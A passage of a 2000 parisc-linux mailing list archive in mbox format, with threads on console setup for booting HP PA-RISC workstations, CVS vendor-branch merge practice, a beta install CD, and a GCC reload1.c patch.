> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/755 and Kernel test10..
Date: Tue, 14 Nov 2000 11:08:20 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <200011141908.LAA12010@milano.cup.hp.com>
References: <200011141851.KAA11966@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619279 6140 80.91.229.3 (22 Nov 2014 01:21:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: grundler@cup.hp.com  Tue Nov 14 12:06:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA00487
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 12:06:19 -0700
Original-Received: (qmail 16451 invoked by uid 15267); 14 Nov 2000 19:08:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16425 invoked from network); 14 Nov 2000 19:08:22 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 14 Nov 2000 19:08:22 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 990DC32A
	for <parisc-linux@thepuffingroup.com>; Tue, 14 Nov 2000 11:08:20 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA12010;
	Tue, 14 Nov 2000 11:08:21 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 14 Nov 2000 10:51:26 PST."
             <200011141851.KAA11966@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8413

Grant Grundler wrote:
> If so, it sounds like you built a 64-bit kernel since that's the default.

Correction. *was* the default.
default ARCH was changed last night to parisc.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ian Zink <ian.zink@maryville.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Palinux on a 712/60
Date: Tue, 14 Nov 2000 13:20:05 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <C36304FE952AD411AC87002094120338029E7B@MTMAIL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416619279 6144 80.91.229.3 (22 Nov 2014 01:21:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:19 +0000 (UTC)
To: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
Original-X-From: ian.zink@maryville.com  Tue Nov 14 12:18:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA00976
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 12:18:30 -0700
Original-Received: (qmail 2982 invoked by uid 15267); 14 Nov 2000 19:20:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2962 invoked from network); 14 Nov 2000 19:20:32 -0000
Original-Received: from ns.maryville.com (HELO ?12.34.165.10?) (12.34.165.10)
  by mailserv2.iuinc.com with SMTP; 14 Nov 2000 19:20:32 -0000
Original-Received: from mtmail.maryville.com by [12.34.165.10]
          via smtpd (for mailserv2.iuinc.com [206.245.164.55]) with SMTP; 14 Nov 2000 19:20:32 UT
Original-Received: by MTMAIL with Internet Mail Service (5.5.2651.97)
	id <WGSF2W3Q>; Tue, 14 Nov 2000 13:20:05 -0600
X-Mailer: Internet Mail Service (5.5.2651.97)
Xref: news.gmane.org gmane.linux.ports.parisc:8414

I have a hp 712/60 I was trying to get loaded with Pa-linux. I'm using the
0.5 version of the Pa-linux cd. If I boot right off the CD it all loads
until it gets to Switching to PDC. At that point nothing happens. From I
have read the list, that is because the kernel is switching the text
console. However, the 712s don't have consoles. From what I have also read
the CD should work if you pass the kernel the parameter console=tty. So I
tried to  "boot scsi.2.0 isl" from the boot_admin prompt. It gave me the
PALO ISL, but I could not choose which line I wanted to edit. Further, I
couldn't even type "b" to boot. I don't know if the isl is freezing or what
is taking place
	What I am wondering is there a way to boot a 712/80 without having
to get cross-compiler gcc, compile the kernel, etc. Is there someway I could
add the ramdisk-sti.tgz on the ISO to make it work? If so, what would need
to be done?

Thanks,

Ian Zink, Systems Engineer
Maryville Technologies
540 Maryville Centre, Suite 300
St. Louis, MO  63141
636/519-4182
(FAX) 636/519-4141
ian.zink@maryville.com  
www.maryville.com



From - Thu Nov 08 21:14:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: linux bame
Date: Tue, 14 Nov 2000 14:17:35 -0500
Organization: Legion of Mozilla
Lines: 44
Approved: news@gmane.org
Message-ID: <3A118FCF.9C7EEEBF@subcarrier.org>
References: <m13uGYm-001Vp3C@chalet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619279 6145 80.91.229.3 (22 Nov 2014 01:21:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@riverrock.org
Original-X-From: mang@subcarrier.org  Tue Nov 14 12:21:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA01352
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 12:21:00 -0700
Original-Received: (qmail 6650 invoked by uid 15267); 14 Nov 2000 19:22:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6639 invoked from network); 14 Nov 2000 19:22:58 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 14 Nov 2000 19:22:58 -0000
Original-Received: (qmail 9035 invoked from network); 14 Nov 2000 19:22:26 -0000
Original-Received: from cr482258-a.slnt1.on.wave.home.com (HELO subcarrier.org) (24.114.168.169)
  by relay1.pair.com with SMTP; 14 Nov 2000 19:22:26 -0000
X-pair-Authenticated: 24.114.168.169
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8415

bame@riverrock.org wrote:
> 
> = On Thu, Nov 09, 2000 at 03:53:48PM -0700, Paul Bame wrote:
> = >     Somebody never imported 2.4.0-test6, then I imported -test10 on the mai
> n
> = >     vendor branch and now can't (easily) undo that to import test6 and THEN
> = >     test10.  This workaround sucks.

If the sources on the linus branch have been religiously tagged every
time they're updated, then reverting to a previous would have been
relatively painless.  I'm not sure what "this workaround" was, but I
guess at this point test10 is merged so the point is moot.

> = don't use vendor branches.  didn't you talk to mang about this?
> 
> Um, I have no information to go on from your note.  All the (successful)
> merges I've done before have used the cookbook CVS merge method including
> a vendor branch.  Several (N-1?) of the palinux merges have been
> accompanied by updating the vendor branch.  And this merge is going
> well despite the ugly workaround, or so it appears to me.  Just
> importing files to a vendor branch should have no effect on anything
> else unless CVS has some horrible bug (RCS does not).  Before I make
> what is apparently a serious mistake ("don't use vendor branches" sounds
> pretty serious) please enlighten me!

Vendor branches are evil.  (When I say "vendor branch" I mean the
special kind of branch created by "cvs import".)  When you check in to a
vendor branch your changes will also be seen on the trunk, *unless* that
file has been previously modified on the trunk.  This is almost never
what you want and adds confusion during merging (when you least want
it).  Tracking third-party sources using a normal branch, as we are
doing, is much simpler and gives you more control.

When I did the original import of Linus' sources I converted the vendor
branch to a normal branch using cvs admin magic.  So none of the
annoyances of vendor branches should affect us, as long as any new files
are added on the linus branch using "cvs add", NOT "cvs import".

When you say you "I imported -test10 on the main vendor branch" I hope
you really mean that you used "cvs add" on the linus branch.  From your
other messages, your tags looked good.

	- Mike.


From - Thu Nov 08 21:14:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: linux bame
Date: Tue, 14 Nov 2000 13:00:41 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <E13vmG1-0004DR-00@noam.fc.hp.com>
References: <m13uGYm-001Vp3C@chalet>  <3A118FCF.9C7EEEBF@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619280 6147 80.91.229.3 (22 Nov 2014 01:21:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Michael Ang <mang@subcarrier.org>
Original-X-From: bame@noam.fc.hp.com  Tue Nov 14 12:58:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA01849
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 12:58:48 -0700
Original-Received: (qmail 2309 invoked by uid 15267); 14 Nov 2000 20:00:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2096 invoked from network); 14 Nov 2000 20:00:44 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 14 Nov 2000 20:00:44 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 68B4264B; Tue, 14 Nov 2000 15:00:42 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id NAA22905;
	Tue, 14 Nov 2000 13:00:41 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13vmG1-0004DR-00; Tue, 14 Nov 2000 13:00:41 -0700
In-Reply-To: Your message of "Tue, 14 Nov 2000 14:17:35 EST."
             <3A118FCF.9C7EEEBF@subcarrier.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:8416

= bame@riverrock.org wrote:
= > 
= > = On Thu, Nov 09, 2000 at 03:53:48PM -0700, Paul Bame wrote:
= > = >     Somebody never imported 2.4.0-test6, then I imported -test10 on the
 mai
= > n
= > = >     vendor branch and now can't (easily) undo that to import test6 and 
THEN
= > = >     test10.  This workaround sucks.
= 
= If the sources on the linus branch have been religiously tagged every
= time they're updated, then reverting to a previous would have been
= relatively painless.  I'm not sure what "this workaround" was, but I
= guess at this point test10 is merged so the point is moot.

Like the comment said, there was no copy of plain -test6 in CVS (that I
saw).  Without -test6 in CVS it's much harder to use cvs diff to figure
out the right way to merge files when there are conflicts.
I didn't realize this until -test10 was already there, so I *then*
brought in -test6.  They're in the wrong order on the 1.1.1 branch, so
the standard merge command 'cvs -jlinus:yesterday -jlinus:<newest>'
won't work next time -- explicit names will be required.

= Vendor branches are evil.  (When I say "vendor branch" I mean the
= special kind of branch created by "cvs import".)  When you check in to a
= vendor branch your changes will also be seen on the trunk, *unless* that
= file has been previously modified on the trunk.

Thanks for clarifying what "evil" means!  That is pretty ugly indeed!

= This is almost never
= what you want and adds confusion during merging (when you least want
= it).  Tracking third-party sources using a normal branch, as we are
= doing, is much simpler and gives you more control.

But I've seen no cook book for it.  I'm guessing that instead of cvs import
you use:
	cvs co -rlinus linux
	<unpack new linux bits on top of linux>
	cd linux
	cvs commit (make note of new files from commit)
	cvs add <new files>
	cvs commit
	cvs tag LINUS_NEW_REVISION
perhaps with provision for removing obsolete files too.  I suppose that is
simpler than a single cvs import command from a certain perspective :-)

= When I did the original import of Linus' sources I converted the vendor
= branch to a normal branch using cvs admin magic.  So none of the
= annoyances of vendor branches should affect us, as long as any new files
= are added on the linus branch using "cvs add", NOT "cvs import".

Have you a pointer to the magic or the knowledge to recreate it?  I
had no idea there was a special RCS marking for the evil type of branch.

= When you say you "I imported -test10 on the main vendor branch" I hope
= you really mean that you used "cvs add" on the linus branch.  From your
= other messages, your tags looked good.

I used "cvs import", and either your branch magic worked, or I finished the
merge before anybody randomly updated from cvs.  Since import used 1.1.1,
which is the branch you "fixed", it seems possible that 'cvs import' might
be rendered harmless but I don't know that for sure.

	-P


From - Thu Nov 08 21:14:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Beta CD
Date: Tue, 14 Nov 2000 15:43:00 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <20001114154259.B30937@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="SkvwRMAIpAhPCcCJ"
X-Trace: ger.gmane.org 1416619280 6149 80.91.229.3 (22 Nov 2014 01:21:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pjlahaie@produce.com  Tue Nov 14 13:40:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA02498
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 13:40:21 -0700
Original-Received: (qmail 1967 invoked by uid 15267); 14 Nov 2000 20:42:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1896 invoked from network); 14 Nov 2000 20:42:21 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost.localdomain) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 14 Nov 2000 20:42:21 -0000
Original-Received: (from pjlahaie@localhost)
	by localhost.localdomain (8.11.0/8.11.0) id eAEKh1Q31175
	for parisc-linux@thepuffingroup.com; Tue, 14 Nov 2000 15:43:01 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:8417


--SkvwRMAIpAhPCcCJ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


This is to answer all the questions about sti console.  Currently, in the
CVS tree, serial console and STI console cannot be turned on at the same time.

This means that a choice between serial/sti needs to be done at compile
time.  At the time we cut the beta, it was decided that serial console was
more important than sti console.  I am also working on resolving the problem
with STI/serial console and once I have a fix ready, I will make a kernel
image available.  The current beta CD is also expecting a console on
ttyS0 and does not currently open a ttyx getty.  When I have a kernel
that can decide the console at runtime, I will look into the beta CD
issues.

If you have any more questions or suggestions, feel free to email me or
post on this list.  Thank you.

						- Paul

--SkvwRMAIpAhPCcCJ
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6EaPR8ggPQthPCzcRAhT8AKC8EU8yusyoEvPHxKAQsaM0vMGthwCgnbbC
Yz6ZWjq3q9B80bI+YRxc8xo=
=HhRZ
-----END PGP SIGNATURE-----

--SkvwRMAIpAhPCcCJ--


From - Thu Nov 08 21:14:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Brian Poole <raj@cerias.purdue.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Beta CD
Date: Tue, 14 Nov 2000 16:18:06 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20001114161806.A8449@cerias.purdue.edu>
References: <20001114154259.B30937@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619280 6150 80.91.229.3 (22 Nov 2014 01:21:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Original-X-From: raj@cerias.purdue.edu  Tue Nov 14 14:16:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA03080
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 14:16:08 -0700
Original-Received: (qmail 21161 invoked by uid 15267); 14 Nov 2000 21:18:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21143 invoked from network); 14 Nov 2000 21:18:08 -0000
Original-Received: from basm.cerias.purdue.edu (2000@128.10.243.21)
  by mailserv2.iuinc.com with SMTP; 14 Nov 2000 21:18:08 -0000
Original-Received: (from raj@localhost)
	by basm.cerias.purdue.edu (8.9.3+Sun/8.9.3) id QAA15574;
	Tue, 14 Nov 2000 16:18:06 -0500 (EST)
Content-Description: 
Content-Disposition: inline
In-Reply-To: <20001114154259.B30937@achilles.net>; from pjlahaie@linuxcare.com on Tue, Nov 14, 2000 at 03:43:00PM -0500
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id OAA03080
Xref: news.gmane.org gmane.linux.ports.parisc:8418

Sounds like a plan to me. I don't suppose you know how to make a 715 
boot to console? Pulling the keyboard and monitor cables off the back
just make it stop at boot with the unable to initiliaze keyboard error
I posted with earlier. I am assuming there is some sort of boot_admin
trickery necessary, but I am unaware of what it might entail and my poking
around has yielded nothing.. 

Any advice here would be much appreciated.

-b

Quoting Paul J.Y. Lahaie (pjlahaie@linuxcare.com) from 14 November 2000:
> with STI/serial console and once I have a fix ready, I will make a kernel
> image available.  The current beta CD is also expecting a console on
..
> If you have any more questions or suggestions, feel free to email me or
> post on this list.  Thank you.


From - Thu Nov 08 21:14:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: abort in eliminate_regs compiling glob.c from glibc
Date: Tue, 14 Nov 2000 16:40:52 -0500 (EST)
Lines: 57
Approved: news@gmane.org
Message-ID: <200011142140.QAA19580@hiauly1.hia.nrc.ca>
References: <200011092357.SAA08600@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619281 6156 80.91.229.3 (22 Nov 2014 01:21:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org,
        gcc-patches@gcc.gnu.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 14 14:38:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA03584
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 14:38:56 -0700
Original-Received: (qmail 22788 invoked by uid 15267); 14 Nov 2000 21:41:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22776 invoked from network); 14 Nov 2000 21:40:59 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 14 Nov 2000 21:40:59 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id QAA19580;
	Tue, 14 Nov 2000 16:40:54 -0500 (EST)
In-Reply-To: <200011092357.SAA08600@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 9, 2000 06:57:13 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8420

> > Breakpoint 2, eliminate_regs_in_insn (insn=0x406a0ba0, replace=0)
> >     at ../../gcc/reload1.c:2826
> > 2826      if (! insn_is_asm && icode < 0)
> > (gdb) p debug_rtx (insn)
> > (insn/s 2711 2709 2719 (set (reg:SI 6 %r6)
> >         (reg:SI 28 %r28)) 69 {pre_ldw-4} (insn_list 2708 (insn_list:REG_DEP_ANTI 2696 (insn_list:REG_DEP_ANTI 2702 (insn_list:REG_DEP_ANTI 2697 (nil)))))
> >     (expr_list:REG_DEAD (reg:SI 28 %r28)
> >         (insn_list:REG_RETVAL 2708 (expr_list:REG_EQUAL (expr_list (use (mem:BLK (scratch) 0))
> >                     (expr_list (symbol_ref/v:SI ("@strlen"))
> >                         (expr_list (reg/v:SI 4 %r4)
> >                             (nil))))
> >                 (nil)))))
> 
> The `use' arises from the `__pure__' attribute in the prototype for strlen:
> 
> extern size_t strlen (__const char *__s) __attribute__ ((__pure__));

Here is a patch to fix the abort in eliminate_regs when it encounters a USE.
As I understand the situation, there are three conditions needed to trigger
it:

1)	A function that contains insns with an eliminable register.
2)	The function must call __builtin_alloca to change the frame size
	from its initial size.
3)	After the call to __builtin_alloca, there must be a call to a
	pure function.

With the enclosed patch, I can now build glibc for hppa-linux with -O3
optimisation.

Please review carefully because I will be the first to admit that I don't
understand why the use is there in the first place and all the details of
what eliminate_reg does.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

2000-11-14  John David Anglin  <dave@hiauly1.hia.nrc.ca>

	* reload1.c (eliminate_regs): Don't abort on MEM USEs.

--- reload1.c.orig	Wed Sep 27 14:27:23 2000
+++ reload1.c	Tue Nov 14 16:01:56 2000
@@ -2499,6 +2499,10 @@
 	return x;
 
     case USE:
+      /* Handle insn_list USE that a call to a pure functions may generate. */
+      new = eliminate_regs (XEXP (x, 0), 0, insn);
+      if (GET_CODE (new) == MEM)
+	return XEXP (new, 0);
     case CLOBBER:
     case ASM_OPERANDS:
     case SET:


From - Thu Nov 08 21:14:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Palinux on a 712/60
Date: Tue, 14 Nov 2000 14:32:00 -0800
Lines: 38
Approved: news@gmane.org
Message-ID: <200011142232.OAA12353@milano.cup.hp.com>
References: <C36304FE952AD411AC87002094120338029E7B@MTMAIL>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619281 6161 80.91.229.3 (22 Nov 2014 01:21:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:21 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: Ian Zink <ian.zink@maryville.com>
Original-X-From: grundler@cup.hp.com  Tue Nov 14 15:30:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA04204
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 15:30:02 -0700
Original-Received: (qmail 29394 invoked by uid 15267); 14 Nov 2000 22:32:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29383 invoked from network); 14 Nov 2000 22:32:05 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 14 Nov 2000 22:32:05 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 501804E8; Tue, 14 Nov 2000 14:32:00 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id OAA12353;
	Tue, 14 Nov 2000 14:32:01 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 14 Nov 2000 13:20:05 PST."
             <C36304FE952AD411AC87002094120338029E7B@MTMAIL> 
Xref: news.gmane.org gmane.linux.ports.parisc:8421

Ian Zink wrote:
> I have a hp 712/60 I was trying to get loaded with Pa-linux. I'm using the
> 0.5 version of the Pa-linux cd. If I boot right off the CD it all loads
> until it gets to Switching to PDC. At that point nothing happens. From I
> have read the list, that is because the kernel is switching the text
> console. However, the 712s don't have consoles.

712s have consoles. They have two outputs which can be used as
console by linux. The STI consoles (VGA-like spigot) and serial.
Connect a serial cable 9600-8-n-1 and run minicom at the other end.

>  From what I have also read
> the CD should work if you pass the kernel the parameter console=tty. So I
> tried to  "boot scsi.2.0 isl" from the boot_admin prompt. It gave me the
> PALO ISL, but I could not choose which line I wanted to edit. Further, I
> couldn't even type "b" to boot. I don't know if the isl is freezing or what
> is taking place

That's a different problem...pb?

> 	What I am wondering is there a way to boot a 712/80 without having
> to get cross-compiler gcc, compile the kernel, etc.

The CD was intended to also work on the 712 even though we may not have
tested on it.

> Is there someway I could
> add the ramdisk-sti.tgz on the ISO to make it work? If so, what would need
> to be done?

no clue. anyone else?

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] tracking third-party sources (was Re: linux bame)
Date: Tue, 14 Nov 2000 17:31:22 -0500
Organization: Legion of Mozilla
Lines: 74
Approved: news@gmane.org
Message-ID: <3A11BD3A.327427EF@subcarrier.org>
References: <m13uGYm-001Vp3C@chalet>  <3A118FCF.9C7EEEBF@subcarrier.org> <E13vmG1-0004DR-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619282 6163 80.91.229.3 (22 Nov 2014 01:21:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:22 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Tue Nov 14 15:34:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA04518
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 15:34:37 -0700
Original-Received: (qmail 3148 invoked by uid 15267); 14 Nov 2000 22:36:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3138 invoked from network); 14 Nov 2000 22:36:40 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 14 Nov 2000 22:36:40 -0000
Original-Received: (qmail 12063 invoked from network); 14 Nov 2000 22:36:13 -0000
Original-Received: from cr482258-a.slnt1.on.wave.home.com (HELO subcarrier.org) (24.114.168.169)
  by relay1.pair.com with SMTP; 14 Nov 2000 22:36:13 -0000
X-pair-Authenticated: 24.114.168.169
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8422

Paul Bame wrote:
> 
> = bame@riverrock.org wrote:
> = >
> = > = On Thu, Nov 09, 2000 at 03:53:48PM -0700, Paul Bame wrote:
> = > = >     Somebody never imported 2.4.0-test6, then I imported -test10 on the
